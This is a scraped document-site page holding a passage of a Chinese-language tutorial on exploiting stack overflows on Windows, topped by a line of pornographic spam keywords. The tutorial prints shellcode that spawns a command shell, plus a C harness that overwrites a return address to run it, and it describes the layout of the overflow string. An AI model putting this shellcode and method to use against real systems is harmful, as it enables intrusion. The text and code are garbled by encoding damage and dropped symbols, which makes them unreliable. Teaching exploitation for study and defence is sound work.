freepeople性欧美熟妇, 色戒完整版无删减158分钟hd, 无码精品国产vα在线观看DVD, 丰满少妇伦精品无码专区在线观看,艾栗栗与纹身男宾馆3p50分钟,国产AV片在线观看,黑人与美女高潮,18岁女RAPPERDISSSUBS,国产手机在机看影片

正文內(nèi)容

windows系統(tǒng)下的堆棧溢出-文庫吧

2025-08-01 16:44 本頁面


【正文】 1093 lea edx,dword ptr [cmdbuf] 。使用堆棧傳遞參數(shù),只有一個(gè)參數(shù),就是字符串 的地址 00401096 push edx 00401097 call dword ptr [ProcAdd] 0040109A add esp,4 現(xiàn)在我們可以寫出一段匯編代碼來完成system,看以看我們的執(zhí)行 system調(diào)用的代碼是否能夠像我們設(shè)計(jì)的那樣工作: include include void main() { LoadLibrary()。 __asm { mov esp,ebp 。把 ebp的內(nèi)容賦值給 esp push ebp 。保存 ebp, esp- 4 mov ebp,esp 。給 ebp賦新值,將作為局部變量的基指針 xor edi,edi 。 push edi 。壓入 0, esp- 4, 。作用是構(gòu)造字符串的 結(jié)尾 \0字符。 sub esp,08h 。加上上面,一共有 12個(gè)字節(jié), 。用來放 。 mov byte ptr [ebp0ch],63h 。 mov byte ptr [ebp0bh],6fh 。 mov byte ptr [ebp0ah],6dh 。 mov byte ptr [ebp09h],6Dh 。 mov byte ptr [ebp08h],61h 。 mov byte ptr [ebp07h],6eh 。 mov byte ptr [ebp06h],64h 。 mov byte ptr [ebp05h],2Eh 。 mov byte ptr [ebp04h],63h 。 mov byte ptr [ebp03h],6fh 。 mov byte ptr [ebp02h],6dh 。生成串. lea eax,[ebp0ch] 。 push eax 。串地址作為參數(shù)入棧 mov eax, 0x78019824 。 call eax 。調(diào)用 system } } 編譯,然后運(yùn)行。好, DOS框出來了。在提示符下輸入 dir,copy......是不是想起了當(dāng)年用 286的時(shí)候了? 敲 exit退出來,哎呀,發(fā)生了非法操作。Access Violation。這是肯定的,因?yàn)槲覀兊某绦蛞呀?jīng)把堆棧指針搞亂了。 對上面的算法進(jìn)行優(yōu)化,現(xiàn)在我們可以寫出 shellcode如下: char shellcode[] = { 0x8B,0xE5, /*mov esp, ebp */ 0x55, /*push ebp */ 0x8B,0xEC, /*mov ebp, esp */ 0x83,0xEC,0x0C, /*sub esp, 0000000C */ 0xB8,0x63,0x6F,0x6D,0x6D, /*mov eax, 6D6D6F63 */ 0x89,0x45,0xF4, /*mov dword ptr [ebp0C], eax*/ 0xB8,0x61,0x6E,0x64,0x2E, /*mov eax, 2E646E61 */ 0x89,0x45,0xF8, /*mov dword ptr [ebp08], eax*/ 0xB8,0x63,0x6F,0x6D,0x22, /*mov eax, 226D6F63 */ 0x89,0x45,0xFC, /*mov dword ptr [ebp04], eax*/ 0x33,0xD2, /*xor edx, edx */ 0x88,0x55,0xFF, /*mov byte ptr [ebp01], dl */ 0x8D,0x45,0xF4, /*lea eax, dword ptr [ebp0C]*/ 0x50, /*push eax */ 0xB8,0x24,0x98,0x01,0x78, /*mov eax, 78019824 */ 0xFF,0xD0 /*call eax */ }。 還記得第二講中那個(gè)測試 shellcode的基本程序嗎?我們可以用他來測試這個(gè)shellcode: include include char shellcode[] = { 0x8B,0xE5, /*mov esp, ebp */ 0x55, /*push ebp */ 0x8B,0xEC, /*mov ebp, esp */ 0x83,0xEC,0x0C, /*sub esp, 0000000C */ 0xB8,0x63,0x6F,0x6D,0x6D, /*mov eax, 6D6D6F63 */ 0x89,0x45,0xF4, /*mov dword ptr [ebp0C], eax*/ 0xB8,0x61,0x6E,0x64,0x2E, /*mov eax, 2E646E61 */ 0x89,0x45,0xF8, /*mov dword ptr [ebp08], eax*/ 0xB8,0x63,0x6F,0x6D,0x22, /*mov eax, 226D6F63 */ 0x89,0x45,0xFC, /*mov dword ptr [ebp04], eax*/ 0x33,0xD2, /*xor edx, edx */ 0x88,0x55,0xFF, /*mov byte ptr [ebp01], dl */ 0x8D,0x45,0xF4, /*lea eax, dword ptr [ebp0C]*/ 0x50, /*push eax */ 0xB8,0x24,0x98,0x01,0x78, /*mov eax, 78019824 */ 0xFF,0xD0 /*call eax */ }。 int main() { int *ret。 LoadLibrary()。 ret = (int *)amp。ret + 2。 //ret 等于 main()的返回地址 //(+ 2是因?yàn)椋河?push ebp ,否則加 1就可以了。) (*ret) = (int)shellcode。 //修改 main()的返回地址為 shellcode的開始地址。 } 編譯運(yùn)行,得到 dos對話框。 現(xiàn)在總結(jié)一下。我們已經(jīng)知道了在windows 系統(tǒng)下如何獲得一次堆棧溢出,如何計(jì)算偏移地址,以及如何編寫一個(gè) shellcode 以得到 dos。理論上,你已經(jīng)具備了利用堆棧溢出的 能力了,下面,我們通過實(shí)戰(zhàn)來真正掌握他。 ◆溢出字符串的設(shè)計(jì) 我們已經(jīng)知道了在 windows 系統(tǒng)下如何獲得一次堆棧溢出,如何計(jì)算偏移地址,以及如何編寫一個(gè) shellcode以得到 dos。 但是這遠(yuǎn)遠(yuǎn)不夠。 大家知道 windows 系統(tǒng)的用戶進(jìn)程空間是 02G,操作系統(tǒng)所占的為 24G。事實(shí)上用戶進(jìn)程的加載位置為:,數(shù)據(jù)地址和堆棧指針都會(huì)含有 0,那么我們的返回地址就必然含有 0。 現(xiàn)在來看一看我們的 shellcode :NNNNSSSSAAAAAA。顯然,我們的shellcode 由于 A 里面含有 0,所以就變成了 NNNNNNNNSSSSSA,這樣,我們的返回地址 A必須精確的放在確切的函數(shù)堆棧中的 ret位置。 事實(shí)上,在上一講里面,我們已經(jīng)掌握了很精確的找到這個(gè)位置的方法。 其次, windows 在執(zhí)行 mov esp, ebp的時(shí)候,把廢棄不用的堆棧用隨機(jī)數(shù)據(jù)填充(實(shí)驗(yàn)所得,機(jī)制如何,大家一起研究),因此我們的 shellcode 可能會(huì)被覆蓋?。@下完蛋了,我們的shellcode 都沒了,返回地址正確又有什么用?? 所以,我們的 shellcode必須改成如下方式:NNNNNNNNNNNNNNNNNASSSSSSSSS,在緩沖區(qū)溢出發(fā)生之后,堆棧的布局如下: 內(nèi)存底部 內(nèi)存頂部 buffer EBP ret [NNNNNNNNNNN][N ] [A ]SSSS ^amp。buffer 堆棧頂部 堆棧底部 看到了嗎?我們的 A覆蓋了返回地址。S 位于堆棧的底部。 A 的內(nèi)容,就是指向 S的調(diào)用。 但是,剛才我們說過 A里面是含有 0字符的,這樣的溢出字符串,在 A處就被0 阻斷,根本無法到 shellcode。我們需要把 A改成不包含 0的地址。 好像沒有辦法了,是嗎?現(xiàn)在我們的 A如何能做到即可 以跳轉(zhuǎn)到我們的shellcode,又可以不包含 0字節(jié)呢? 大家可能還記得當(dāng)年 遠(yuǎn)程攻擊的作者 dark spyrit AKA Barnaby Jack吧?他在 99年的 Phrack 上提出了使用系統(tǒng)核心 dll 中的指令來完成跳轉(zhuǎn)的思想。我不得不說這是一個(gè)天才的想法。事實(shí)上,這一技巧開創(chuàng)了一個(gè)嶄新的
點(diǎn)擊復(fù)制文檔內(nèi)容
公司管理相關(guān)推薦
文庫吧 www.dybbs8.com
備案圖鄂ICP備17016276號-1